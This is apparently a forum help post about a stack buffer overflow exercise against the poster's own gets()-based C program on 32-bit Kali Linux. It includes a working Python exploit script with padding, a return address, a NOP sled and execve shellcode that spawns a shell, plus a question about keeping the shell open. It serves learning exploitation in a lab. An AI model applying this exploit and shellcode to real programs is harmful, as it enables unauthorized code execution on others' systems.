[Python] Problem with performing a shell code overflow attack

I am trying to perform an overflow attack with the shell code. I have a vulnerable program, vulnerable.c that accepts an input in a buffer of 100; it uses the function gets(). I am working on kali linux 32 bit.

then, this is my exploit.py:


#!/usr/bin/env python3
import struct

offset = 112
buffer_addr = 0xbfffef3c # SOSTITUIRE se necessario
ret_addr = buffer_addr + offset + 4 - 50 # NOP sled

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)

payload = b"A" * offset + ret_addr.to_bytes(4, 'little') + nop_sled + shellcode

with open("payload.bin", "wb") as f:
f.write(payload)

print("payload creato")


then, I compile it using python3 exploit.py, and it generates me the payload.bin file. then, using the command in the terminal:

./vuln < payload.bin.

it opens me a shell, and then I have be fast to write id, and whoami and press send, because if not, it gives me segmantation fault.

how can I keep the shell open, or give the commands id, whoami, automatically? please help me.

Continue reading...